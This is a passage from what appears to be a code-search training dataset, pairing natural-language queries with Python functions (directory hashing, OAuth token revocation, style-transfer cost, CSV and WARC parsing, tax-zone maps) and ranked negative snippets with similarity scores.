"0.59671766",
"0.5945204",
"0.593414",
"0.5931592",
... | 0.76479506 | 0 |
Return MD5 hash's hexdigest bases on nongit nonpycache entries of the root_dir. The purpose is to check if two directory is identical except the modification dates. The two directories can be on different machines when the file transfer would be costly. | def python_repo_hash_md5(root_dir: str, *, verbose: bool = False):
m = hashlib.md5()
for e in _collect_entries(root_dir, '.'):
if verbose:
log_info('Processing e', e)
m.update(
f"path={e['path']}\tisdir={e['isdir']}\tsize={e['size']}\tmode={e['mode']:03o}\tmtime={e['mtime... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_md5_of_dir(self, verbose=0):\n directory = self.cfg['sharing_path']\n if verbose:\n start = time.time()\n md5Hash = hashlib.md5()\n if not os.path.exists(directory):\n self.stop(1, 'Error during calculate md5! Impossible to find \"{}\" in user folder'... | [
"0.6838967",
"0.6250359",
"0.6099796",
"0.5913261",
"0.5903527",
"0.5851177",
"0.5848145",
"0.5792256",
"0.5689556",
"0.56635755",
"0.56403613",
"0.5586936",
"0.5534521",
"0.5526404",
"0.5467155",
"0.5463636",
"0.54520786",
"0.5427325",
"0.5422579",
"0.54110044",
"0.5407061",... | 0.7109552 | 0 |
Plot comparison for Neural Network perturbation | def plot_xents(name, col1="darkblue", col2="darkred", ylim=0.2):
mean5 = np.loadtxt("mean5_{}.txt".format(name))
mean15 = np.loadtxt("mean15_{}.txt".format(name))
pos1 = np.arange(1, len(mean5)+1)
pos2 = np.arange(1, len(mean15)+1)
sns.set_style("darkgrid")
plt.plot(pos1, mean5, col1, pos2, me... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_predictions(self):\n\n plt.title(\"Targets vs. Predictions\")\n plt.plot(self.T, label=\"Targets\")\n plt.plot(self.Y, label=\"Predictions\")\n plt.xlabel(\"Sample number\")\n plt.legend()\n plt.show()",
"def visualizePredictions(testData,knn_predictions):\r\n ... | [
"0.6870466",
"0.6508898",
"0.64197093",
"0.63677764",
"0.6366839",
"0.63598055",
"0.63373405",
"0.63080764",
"0.62799644",
"0.6244469",
"0.62381005",
"0.62381005",
"0.6214602",
"0.6193353",
"0.61867315",
"0.6180719",
"0.61647266",
"0.61536115",
"0.610797",
"0.60818666",
"0.60... | 0.0 | -1 |
Like handle_solvent_tests(), but for systems with a membrane | def handle_solvent_memb_tests(test_case, do_copy=False):
if not 'solvent_tests' in test_case:
raise ValueError("Missing 'solvent_tests'")
solvent_tests = test_case['solvent_tests']
# find the step containing SOLVENT_TEST_PLACEHOLDER
placeholder = 'SOLVENT_TEST_PLACEHOLDER'
found = False
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_gameHandleEvents(self):\n # this kinda gonna be reiterating the other tests??\n # the tests of all the individual methods below make this test work\n pass",
"def unitary_test():",
"def test_launch_failures_hw(self):\n self.test_launch_failures()",
"def test_emirp_check():... | [
"0.6400076",
"0.59792304",
"0.58952934",
"0.5888097",
"0.5808284",
"0.5806006",
"0.5801247",
"0.57660025",
"0.5746992",
"0.5736676",
"0.5736101",
"0.57240546",
"0.57185507",
"0.56993955",
"0.5694084",
"0.56916356",
"0.5690784",
"0.5688461",
"0.56859887",
"0.5669558",
"0.56647... | 0.0 | -1 |
Modifies water/ion options to include solvents according to the | def handle_solvent_tests(test_case, do_copy=False):
if not 'solvent_tests' in test_case:
raise ValueError("Missing 'solvent_tests'")
solvent_tests = test_case['solvent_tests']
# find the step containing SOLVENT_TEST_PLACEHOLDER
placeholder = 'SOLVENT_TEST_PLACEHOLDER'
found = False
inde... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def prepare_config(cls, config, is_mode_config):\n if not is_mode_config:\n if 'enable_events' not in config:\n config['enable_events'] = 'ball_started'\n if 'disable_events' not in config:\n config['disable_events'] = 'ball_will_end'\n return super... | [
"0.55244476",
"0.55244476",
"0.5211806",
"0.5174427",
"0.51648545",
"0.5157156",
"0.50999045",
"0.5090809",
"0.50349927",
"0.50240684",
"0.5003229",
"0.49945912",
"0.49207282",
"0.49151343",
"0.49150056",
"0.49043357",
"0.4872846",
"0.4868255",
"0.48596564",
"0.48412472",
"0.... | 0.0 | -1 |
Computes the content cost | def compute_content_cost(a_C, a_G):
# Retrieve dimensions from a_G (≈1 line)
m, n_H, n_W, n_C = a_G.get_shape().as_list()
# Reshape a_C and a_G (≈2 lines)
a_C_unrolled = tf.reshape(a_C, [m, n_H * n_W, n_C])
a_G_unrolled = tf.reshape(a_G, [m, n_H * n_W, n_C])
# compute the cost with tensorflow... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cost(self) -> float:",
"def compute_cost(self, chrome):\n return 1",
"def cost(self):\n\t\treturn self.g + self.h",
"def compute_content_cost(self, a_C, a_G):\n\n m, n_H, n_W, n_C = a_G.get_shape().as_list()\n\n a_C_unrolled = tf.reshape(a_C, (n_H * n_W, n_C))\n a_G_unrolled =... | [
"0.76748216",
"0.73723125",
"0.689193",
"0.68261766",
"0.6787472",
"0.6782727",
"0.6749342",
"0.6747946",
"0.65489316",
"0.6513681",
"0.6508743",
"0.6505938",
"0.64938504",
"0.6434525",
"0.6429838",
"0.64291674",
"0.6428066",
"0.64240986",
"0.6412745",
"0.6402376",
"0.6370504... | 0.6479049 | 13 |
Computes the overall style cost from several chosen layers | def compute_style_cost(model, STYLE_LAYERS):
# initialize the overall style cost
J_style = 0
for layer_name, coeff in STYLE_LAYERS:
# Select the output tensor of the currently selected layer
out = model[layer_name]
# Set a_S to be the hidden layer activation from the layer we have... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compute_style_cost(model,style_wave, STYLE_LAYERS):\n\n # initialize the overall style cost\n J_style = 0\n\n for layer_name, coeff in STYLE_LAYERS:\n\n # Select the output tensor of the currently selected layer\n #out = model[layer_name]\n out = model.get_layer(layer_name).output... | [
"0.7501626",
"0.7382344",
"0.63541365",
"0.62836343",
"0.62559444",
"0.6132296",
"0.6114782",
"0.6114248",
"0.6106048",
"0.608636",
"0.60851204",
"0.6052765",
"0.6023517",
"0.5955185",
"0.59520197",
"0.59369844",
"0.593539",
"0.5922794",
"0.59108067",
"0.5899719",
"0.58480173... | 0.7322137 | 2 |
Computes the total cost function | def total_cost(J_content, J_style, alpha=10, beta=40):
J = alpha * J_content + beta * J_style
return J | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_total_cost(state):\n pass",
"def calculate_total_cost(state):\r\n return state.cost()",
"def cost(self) -> float:",
"def total_cost(self):\n return np.einsum('i->', self.c[self.s])",
"def calcCostFun(self):\n\n self.start()\n F, K = self.model()\n \n r... | [
"0.8076102",
"0.80038726",
"0.7963573",
"0.7839396",
"0.76213026",
"0.7587885",
"0.7572381",
"0.7552255",
"0.7447264",
"0.7335212",
"0.73171985",
"0.730358",
"0.7302065",
"0.7297157",
"0.7279061",
"0.7229969",
"0.72176164",
"0.721449",
"0.7213855",
"0.720213",
"0.7183842",
... | 0.0 | -1 |
Deactivate an ApiOAuth2Application Does not delete the database record, but revokes all tokens and sets a flag that hides this instance from API | def deactivate(self, save=False):
client = cas.get_client()
# Will raise a CasHttpError if deletion fails, which will also stop setting of active=False.
resp = client.revoke_application_tokens(self.client_id, self.client_secret) # noqa
self.is_active = False
if save:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def revoke_api_access(application):\n try:\n file = open(PATH + '/../DB/access.json', 'r')\n accessData = json.load(file)\n if (application in accessData):\n accessData.pop(application, None)\n\n with open(PATH + '/../DB/access.json', 'w') as f:\n f.write(json.d... | [
"0.6420284",
"0.64088273",
"0.6401829",
"0.6401829",
"0.6192459",
"0.6173356",
"0.6137181",
"0.6090798",
"0.6071947",
"0.6071947",
"0.60594076",
"0.5915336",
"0.58965695",
"0.5862787",
"0.5858027",
"0.58575356",
"0.58293414",
"0.5747239",
"0.5745004",
"0.57321835",
"0.5720194... | 0.7059044 | 0 |
Reset the secret of an ApiOAuth2Application Revokes all tokens | def reset_secret(self, save=False):
client = cas.get_client()
client.revoke_application_tokens(self.client_id, self.client_secret)
self.client_secret = generate_client_secret()
if save:
self.save()
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def resetSecret(self):\n self.secret = str(uuid())\n self.put()",
"def _clear_secret_token_map():\n global _secret_token_map\n _secret_token_map = None",
"def manage_clearSecrets(self, REQUEST):\n manager = getUtility(IKeyManager)\n manager.clear()\n manager.rotate()\n ... | [
"0.699256",
"0.6872917",
"0.6153157",
"0.6107559",
"0.59967816",
"0.59598404",
"0.5934698",
"0.5888643",
"0.58882296",
"0.5865433",
"0.5845431",
"0.5785667",
"0.57682496",
"0.5740121",
"0.5738762",
"0.57173806",
"0.5665614",
"0.5649307",
"0.56228507",
"0.56142944",
"0.5586983... | 0.702098 | 0 |
Deactivate an ApiOAuth2PersonalToken Does not delete the database record, but hides this instance from API | def deactivate(self, save=False):
client = cas.get_client()
# Will raise a CasHttpError if deletion fails for any reason other than the token
# not yet being created. This will also stop setting of active=False.
try:
resp = client.revoke_tokens({'token': self.token_id}) # no... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_auth_token():\n data = get_request_data(request)\n address = data.get(\"address\")\n token = data.get(\"token\")\n\n valid, message = is_token_valid(token, address)\n if not valid:\n return jsonify(error=message), 400\n\n force_expire_token(token)\n\n return jsonify(success=\... | [
"0.68359965",
"0.68096167",
"0.65469694",
"0.6422617",
"0.6284022",
"0.6237951",
"0.61001736",
"0.60755134",
"0.60667545",
"0.60667545",
"0.6003061",
"0.59748185",
"0.59192157",
"0.5878691",
"0.5849091",
"0.5848954",
"0.58168155",
"0.5810158",
"0.5800938",
"0.57993716",
"0.57... | 0.7050593 | 0 |
Constructor set the file path | def __init__(self, path):
self.csv_path = path
# check if csv format is valid or not
self.check_valid_csvformat(self.csv_path)
""" empty dict to store all company names
prepare initial company data in dictionary format """
self.company_data = dict() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, path, file):\n self.path = path\n self.file = file",
"def __init__(self, path):\n self.path = os.path.abspath(path)",
"def __init__(self, filepath):\n self.filepath = filepath",
"def __init__(self, path):\n self.path = path",
"def __init__(self, path):\... | [
"0.8336858",
"0.8283488",
"0.8017652",
"0.80134624",
"0.80134624",
"0.80134624",
"0.80134624",
"0.80072695",
"0.79191643",
"0.79079074",
"0.78379184",
"0.7812701",
"0.7712044",
"0.7698701",
"0.76643",
"0.76627487",
"0.76627487",
"0.7616975",
"0.75978684",
"0.7526664",
"0.7496... | 0.0 | -1 |
Calls the cvsfileUsage function to start parsing | def __call__(self):
return self.csvfileUsage() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def main():\n parse_file(sys.argv[1])",
"def main():\n parser = ArgumentParser(usage='%(prog)s [options] ecommonsMetadata.csv')\n parser.add_argument(\"-d\", \"--date\", dest=\"date\",\n help=\"Date on or after that an ETD was published for \\\n creating DOI... | [
"0.58680946",
"0.584178",
"0.56904954",
"0.55948025",
"0.55103976",
"0.54529536",
"0.5447621",
"0.5420857",
"0.5396767",
"0.5378413",
"0.5375421",
"0.5359897",
"0.53025967",
"0.5297627",
"0.52868927",
"0.52581596",
"0.52294654",
"0.5224852",
"0.5216758",
"0.51756084",
"0.5175... | 0.6263405 | 0 |
Check if Header is correct | def check_valid_csv_header(self, row):
obj = re.match(re.compile('^Year\,Month\,.'),
','.join(row))
if not obj:
raise Exception("Invalid Headers must be `Year` `Month` Check Sample file") | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_header(self, name, value):\r\n if value in self.headers.get(name, ''):\r\n return True\r\n return False",
"def check_header(self, name, value):\r\n if value in self.headers.get(name, ''):\r\n return True\r\n return False",
"def test_check_header(self)... | [
"0.74777883",
"0.74777883",
"0.7314567",
"0.7220998",
"0.7158477",
"0.71231633",
"0.71042866",
"0.71036303",
"0.7052667",
"0.7031326",
"0.70234644",
"0.70112914",
"0.69430315",
"0.69109553",
"0.6900488",
"0.6896769",
"0.6890224",
"0.68511075",
"0.6850088",
"0.68461525",
"0.68... | 0.6272523 | 52 |
Check For valid csv data | def check_valid_csv_data(self, row):
obj = re.match(re.compile('^[0-9]{4}\,[A-Z]{1}[a-z]{2}\,.'),
','.join(row))
if not obj:
raise Exception("Invalid Data String must be like `1990` `Jan` Check Sample file") | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_valid_csvformat(self, csv_path):\n with open(self.csv_path, \"rb+\") as file_obj:\n reader = csv.reader(file_obj, delimiter=',') # CSV DictReader object\n self.check_valid_csv_header(reader.next())\n self.check_valid_csv_data(reader.next())",
"def validate_csv_s... | [
"0.80091965",
"0.75875276",
"0.75167954",
"0.741095",
"0.71336776",
"0.70634043",
"0.6948182",
"0.68665993",
"0.6859504",
"0.67613226",
"0.67475",
"0.6734457",
"0.67083627",
"0.6599125",
"0.6583989",
"0.65218884",
"0.6469705",
"0.64656794",
"0.6436142",
"0.6427924",
"0.640778... | 0.7886953 | 1 |
Check if csv is in valid format with data | def check_valid_csvformat(self, csv_path):
with open(self.csv_path, "rb+") as file_obj:
reader = csv.reader(file_obj, delimiter=',') # CSV DictReader object
self.check_valid_csv_header(reader.next())
self.check_valid_csv_data(reader.next()) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_valid_csv_data(self, row):\n obj = re.match(re.compile('^[0-9]{4}\\,[A-Z]{1}[a-z]{2}\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Data String must be like `1990` `Jan` Check Sample file\")",
"def validate_csv(filen... | [
"0.79888827",
"0.77903473",
"0.7676916",
"0.73605514",
"0.72107303",
"0.69361657",
"0.6886044",
"0.68570256",
"0.68204045",
"0.67923874",
"0.67035025",
"0.65973264",
"0.65804535",
"0.6500226",
"0.6483696",
"0.644907",
"0.6433415",
"0.64274734",
"0.63892037",
"0.6351961",
"0.6... | 0.8132414 | 0 |
Prepare the company's data | def prepare_company_data(self, month, year, row, company_data):
for key, value in row.items():
if not company_data[key]:
company_data[key] = {'year':year, 'month':month, 'value':value}
else:
"""main operation updating the company's data per year
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __getCompaniesData(self, schema):\n try:\n self.cursor.execute(\"\"\"SELECT id, twitter, proven_score, slug FROM {schema}.vendors_vendor WHERE\n twitter <> ''\"\"\".format(schema=schema))\n data = self.cursor.fetchall()\n\n companies = []\n... | [
"0.6938614",
"0.67131525",
"0.67055386",
"0.6524873",
"0.63706404",
"0.6255161",
"0.6225849",
"0.6220218",
"0.62027955",
"0.6075558",
"0.5998771",
"0.5954136",
"0.59276706",
"0.5911707",
"0.5911581",
"0.5889178",
"0.5853898",
"0.58073986",
"0.5801998",
"0.5798251",
"0.5788507... | 0.71914417 | 0 |
Read the file and parse it | def csvfileUsage(self):
with open(self.csv_path, "rb+") as file_obj:
reader = csv.DictReader(file_obj, delimiter=',') # CSV DictReader object
""" reader.fieldnames returns header , slicing intial 'Month' and
'Year' header from list
"""
for com_nam... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_file(self, file):\n return self.parse(file.read())",
"def parse(self, filename):\n infile = file(filename)\n for line in infile:\n self.parseLine(line)",
"def parse(self, infile):\r\n raise NotImplementedError()",
"def _parse(self, infile):\n raise NotImple... | [
"0.7704631",
"0.7608055",
"0.7606781",
"0.74729276",
"0.73044264",
"0.7196149",
"0.71839684",
"0.71827775",
"0.7099208",
"0.7099208",
"0.7064892",
"0.70613736",
"0.7029887",
"0.7019118",
"0.69390094",
"0.69175214",
"0.69132525",
"0.6905551",
"0.6891379",
"0.68839794",
"0.6870... | 0.0 | -1 |
print result data in pretty format | def print_pretty(self, data):
length = max(map(lambda x: len(x), data.keys()))
print '+-------------------------------------+'
print '| Company Name | Year | Month | Value |'
print '+-------------------------------------+'
for key, value in data.items():
print '| %s ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def PrettyPrint(self):\r\n print(self.data)\r\n return",
"def Display(self, unused_args, result):\n util.PrettyPrint(result)",
"def Display(self, unused_args, result):\n util.PrettyPrint(result)",
"def pretty_print(self):\n pt = PrettyTable()\n for i in self.files_summary:\n... | [
"0.7651632",
"0.73510516",
"0.73510516",
"0.7142628",
"0.7091028",
"0.70429",
"0.70243996",
"0.7002873",
"0.69559413",
"0.69347566",
"0.69135714",
"0.68599814",
"0.6835211",
"0.682232",
"0.6799566",
"0.6789554",
"0.6752801",
"0.67316437",
"0.6708856",
"0.6648762",
"0.6640318"... | 0.718061 | 3 |
Takes as argument one URI from | def unpack(uri):
conn = boto.connect_s3(anon=True, host='s3.amazonaws.com')
bucket = conn.get_bucket('commoncrawl')
key_ = Key(bucket, uri)
file_ = warc.WARCFile(fileobj=GzipStreamFile(key_))
return file_ | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, uri):\n\n self.uri = uri",
"def url():\n ...",
"def set_uri(self, uri):\r\n self.uri = uri",
"def _get_url(self, absolute):",
"def uri(self, uri):\n self._uri = uri",
"def uri(self, uri):\n self._uri = uri",
"def _uri(self):\n raise NotImplemente... | [
"0.6760875",
"0.66227156",
"0.657832",
"0.65703005",
"0.65467316",
"0.65467316",
"0.64905435",
"0.64255947",
"0.64193517",
"0.63551694",
"0.62846905",
"0.62785953",
"0.62359524",
"0.62359524",
"0.6218313",
"0.61922807",
"0.6122419",
"0.6121087",
"0.60790586",
"0.6076218",
"0.... | 0.0 | -1 |
Iterates through WARC records of an unpacked file in a Spark job. | def extract_json(id_, iterator):
for uri in iterator:
file = unpack(uri)
for record in file:
if record['Content-Type'] == 'application/json':
try:
content = json.loads(record.payload.read())
yield content['Envelope']
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def redshift_file_loader(spark, tbname, tmpdir):\n filelist_rdd = redshift_loader(spark, tbname, tmpdir) \\\n .rdd.map(lambda x: Row(caseid=x.case_id, filepath=x.path + '/' + x.filename))\n return filelist_rdd",
"def test_iterate_over_stream():\n archive = Archive()\n archive.commit(doc=DataFr... | [
"0.5444572",
"0.5430409",
"0.5317964",
"0.5192848",
"0.51737136",
"0.5160396",
"0.51200193",
"0.5114372",
"0.50979865",
"0.50848365",
"0.50716513",
"0.5044458",
"0.50402385",
"0.5039158",
"0.50273323",
"0.50213903",
"0.5004219",
"0.4995018",
"0.49946946",
"0.499466",
"0.49611... | 0.0 | -1 |
Takes WARC record and returns domain of target URI plus Counter for domains of outlinked pages if these exist. | def parse_links(record):
try:
page_url = record['WARC-Header-Metadata']['WARC-Target-URI']
page_domain = urlparse.urlparse(page_url).netloc
links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']
out_links = Counter([urlparse.urlparse(url['url']).netloc... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def count_domains(urls, screen_name, domains):\n\n def add_domain_to_dict(domains, domain_string):\n \"\"\" helper function\"\"\"\n domain = urlparse(unquote(domain_string)).netloc.replace('www.', '')\n domain = domain.split(':')[0]\n try:\n new_domain = get_domain(domain)\n except ValueError:... | [
"0.5832478",
"0.5743405",
"0.5526221",
"0.54275036",
"0.5161741",
"0.51254606",
"0.5115564",
"0.50487834",
"0.5029015",
"0.49536353",
"0.49229515",
"0.49164706",
"0.48799717",
"0.48791456",
"0.4861495",
"0.48533532",
"0.48137897",
"0.4801171",
"0.47810617",
"0.4773569",
"0.47... | 0.68593603 | 0 |
Takes WARC record and outputs all pairs (domain, path) from URIs, if these exist. It searches both target URI and outlinks and does not distinguish between them. | def parse_urls(record):
url_list = []
try:
page_url = record['WARC-Header-Metadata']['WARC-Target-URI']
x = urlparse.urlparse(page_url)
url_list += [(x.netloc, x.path)]
except:
pass
try:
links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metada... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_links(record):\n try:\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\n page_domain = urlparse.urlparse(page_url).netloc\n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\n out_links = Counter([urlparse.urlparse(url['url... | [
"0.648302",
"0.58565474",
"0.57382894",
"0.56618035",
"0.55831033",
"0.55718136",
"0.5427328",
"0.5408748",
"0.53590286",
"0.53027636",
"0.526104",
"0.52590644",
"0.5210608",
"0.5188143",
"0.5162076",
"0.5156036",
"0.51295507",
"0.51037467",
"0.50811",
"0.5069011",
"0.5066564... | 0.6712598 | 0 |
Temporary ASCII encoding for human readable hex with ' ' as delimiter for detecting nonLatin unicode. | def hexify(c):
try:
s = c.encode("utf-8").encode("hex")
except UnicodeDecodeError:
s = 0
n = len(s)
if n <= 2: return s
a = ' - '.join([s[i:i+2] for i in range(0,n,2)])
return a[:-1] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_ascii(text):\n return re.sub(r'[^\\x00-\\x7F]+', ' ', text)",
"def hexbyte(string):\n#\treturn repr(string)\n\ts = \"\"\n\tfor i in string:\n\t\tif (ord(i) >= ord('A') and ord(i) <= ord('z')) \\\n\t\t\tor (ord(i) >= ord('0') and ord(i) <= ord('9')) \\\n\t\t\tor (ord(i) == ord(\" \")):\n\t\t\ts += \"%s\... | [
"0.66453975",
"0.65925515",
"0.65499693",
"0.64991313",
"0.64508224",
"0.637776",
"0.63622725",
"0.6336682",
"0.63067186",
"0.6247356",
"0.6247335",
"0.6172891",
"0.6159729",
"0.6143763",
"0.61208767",
"0.61158335",
"0.611007",
"0.6102653",
"0.6097139",
"0.60858274",
"0.60734... | 0.61688596 | 12 |
Takes domain and concatenates with path URIs separated by newlines.. | def domain_string(domain, path_set):
out = domain + '\n' + '\n'.join(list(path_set)) + '\n\n\n'
return out | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge_link(url_domain, url_path):\n\n # Ensure domain is not empty\n if url_domain.strip() == \"\":\n return url_path\n\n # Strip / at end of domain\n if url_domain[-1] == \"/\":\n url_domain = url_domain[0:-1]\n\n # Strip / at beginning of path\n if url_path[0] == \"/\":\n ... | [
"0.6588488",
"0.6037963",
"0.59932935",
"0.58680135",
"0.5814077",
"0.58129615",
"0.5769635",
"0.5683123",
"0.566781",
"0.56072015",
"0.55921346",
"0.55277026",
"0.5518288",
"0.5502831",
"0.5482606",
"0.5472744",
"0.545825",
"0.54528075",
"0.5439585",
"0.5436488",
"0.54126805... | 0.71544874 | 0 |
Computes the excess nr bytes over nr characters in a domain string. | def nonlatin_detector(dom):
str = domain_string(dom[0], dom[1])
N = len(str)
hex = [c.encode('utf-8').encode('hex') for c in list(str)]
return float(sum([len(h)/2 for h in hex]) - N)/N | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def len_unpadded(self) -> int:",
"def _get_num_chars(a):\n if issubclass(a.dtype.type, str_):\n return a.itemsize // 4\n return a.itemsize",
"def _model_string_maxlen():\n # hardcoded for convenience. Could be dynamically set in future.\n # the current longest is: BLOSUM62+I+G+X, i.e. 14 cha... | [
"0.5984497",
"0.589638",
"0.58957535",
"0.58499557",
"0.58037084",
"0.57385695",
"0.5657735",
"0.5636777",
"0.5635527",
"0.5634374",
"0.5584988",
"0.5581181",
"0.5567638",
"0.55576235",
"0.5543473",
"0.55387914",
"0.5511795",
"0.5505335",
"0.5472981",
"0.5454402",
"0.5447952"... | 0.0 | -1 |
Normalised 2char hex representation of 0255 | def hx(i):
a = hex(i)[2:]
if len(a)<2: a = ''.join(['0',a])
return a | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def int2hex(n: int) -> str:",
"def sanatize_hex(data: str) -> str:\n return data.replace(\"0x\", \"\").replace(\"0X\", \"\")",
"def convertirHexadecimal(self):\n self.convertir(lambda c: hex(ord(c))[2:], sep=' ')",
"def hexify(c):\n try:\n s = c.encode(\"utf-8\").encode(\"hex\")\n exce... | [
"0.7478835",
"0.7241786",
"0.72120225",
"0.711506",
"0.7042994",
"0.70428777",
"0.7005129",
"0.68801385",
"0.6858315",
"0.6853162",
"0.6843357",
"0.68172914",
"0.6791203",
"0.6791164",
"0.6763778",
"0.6758954",
"0.67498916",
"0.67462385",
"0.6711573",
"0.66784096",
"0.66678",... | 0.7174581 | 3 |
Coarse first version of a feature vector for a string. A placeholder for stronger versions. | def string_features_v1(str):
N = float(len(str))
if N==0: return None
a = len(re.findall(r'/', str))/N
b = len(re.findall(r'\.', str))/N
c = len(re.findall(r'-', str))/N
d = len(re.findall(r'_', str))/N
cap = len(re.findall(r'[A-Z]', str))/N
num = len(re.findall(r'[0-9]', str))/N
ret... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def feature_vector(features, vector):\n clean_features = set(features)\n new_features_vector = featurize(vector,clean_features)\n return new_features_vector",
"def training(string):\n print(\"Training...\")\n vec = create_vector(string)\n print(\"Selecting features...\")\n feature_list = sel... | [
"0.6198624",
"0.5924267",
"0.54814017",
"0.54337686",
"0.53859985",
"0.5342566",
"0.5328747",
"0.52908",
"0.5278484",
"0.5193796",
"0.5187327",
"0.5172308",
"0.51401806",
"0.512927",
"0.5113244",
"0.51110196",
"0.50867546",
"0.50867546",
"0.5078367",
"0.50766903",
"0.505309",... | 0.54504055 | 3 |
Symbol distribution of a hexalised string. | def string_features_hex(hexstr):
out = dict([(x,0) for x in hexabet])
ct = dict(Counter(hexstr.split()))
N = len(hexstr.split())
for k in out.keys():
if k in ct.keys():
out[k] += ct[k]
out = [v[1] for v in sorted(out.iteritems(), key=lambda (k,v): k)]
out = [float(x)/N for x ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _symbol(self,s):\n return self.symbollist[s%len(self.symbollist)]",
"def customHashFunc(str):\n return sum(ord(chr) for chr in str)%128",
"def H(s):\n return 'H_' + ''.join(['%02x' % ord(x) for x in s])",
"def get_hash_code(s):\n h = 0\n n = len(s)\n for i, c in enumerat... | [
"0.60032827",
"0.59784114",
"0.59590006",
"0.5900072",
"0.5883766",
"0.5832786",
"0.58078927",
"0.5785384",
"0.5761886",
"0.5714655",
"0.5704629",
"0.56721306",
"0.5666979",
"0.5638854",
"0.5600783",
"0.5577806",
"0.5572179",
"0.55721414",
"0.55712956",
"0.55402035",
"0.55278... | 0.5976867 | 2 |
Takes domain + set of paths as output by parse_urls() and applies extracts statistics of the signature string. | def domain_features(domain, path_set):
return string_features_v2(domain_string(domain, path_set)) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run_stats():\r\n\r\n time_signature = {}\r\n time_verification = {}\r\n\r\n # this should speed up things\r\n message = \"Alice, send me 100 bucks. --Bob\"\r\n message = long(sha256(message).hexdigest(), 16)\r\n\r\n curvas = [(i, getattr(nist_curves, i)) for i in dir(nist_curves) if\r\n ... | [
"0.543832",
"0.5280647",
"0.51642716",
"0.5056459",
"0.495256",
"0.48807248",
"0.48625764",
"0.48599264",
"0.48568204",
"0.47857365",
"0.47223318",
"0.47000122",
"0.46585315",
"0.46579164",
"0.46506143",
"0.46413884",
"0.463814",
"0.46201074",
"0.46052003",
"0.45923313",
"0.4... | 0.0 | -1 |
Main entry point of the app | def main(args):
unsorted_array = []
if args.order == 'ASC':
unsorted_array = list(range(0, int(args.instancesize)))
if args.order == 'DESC':
unsorted_array = list(range(0, int(args.instancesize)))
unsorted_array = list(reversed(unsorted_array))
if args.order == 'RAND':
unsorted_array = list(range(0, int(... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def main():\n app = App()\n app.run()",
"def main():\n print(\"def main\")\n return APP.run()",
"def main(args=None):\n app()\n return 0",
"def main():\n CLI_APP.run()",
"def main():\n app.run(debug=True)",
"def entry_point():",
"def entry_point():",
"def entry_point():",
"def s... | [
"0.8601892",
"0.82477033",
"0.8174292",
"0.7943747",
"0.7931633",
"0.77617663",
"0.77617663",
"0.77617663",
"0.77537346",
"0.77359056",
"0.7666645",
"0.75611967",
"0.75611967",
"0.75611967",
"0.7544734",
"0.7544734",
"0.7457229",
"0.74511474",
"0.7445474",
"0.7421503",
"0.736... | 0.0 | -1 |
Creates a DataFrame with polygones and IDs for all tax zones. | def createEmptyMapData():
with open('data/taxzone.json', 'r') as f:
taxzones = json.load(f)
polygons_shape = [shape(feature['geometry']) for feature in taxzones['features']]
names = [feature['properties']['id'] for feature in taxzones['features']]
map_data = pd.DataFrame({'poly': polygons_shape... | {
"objective": {
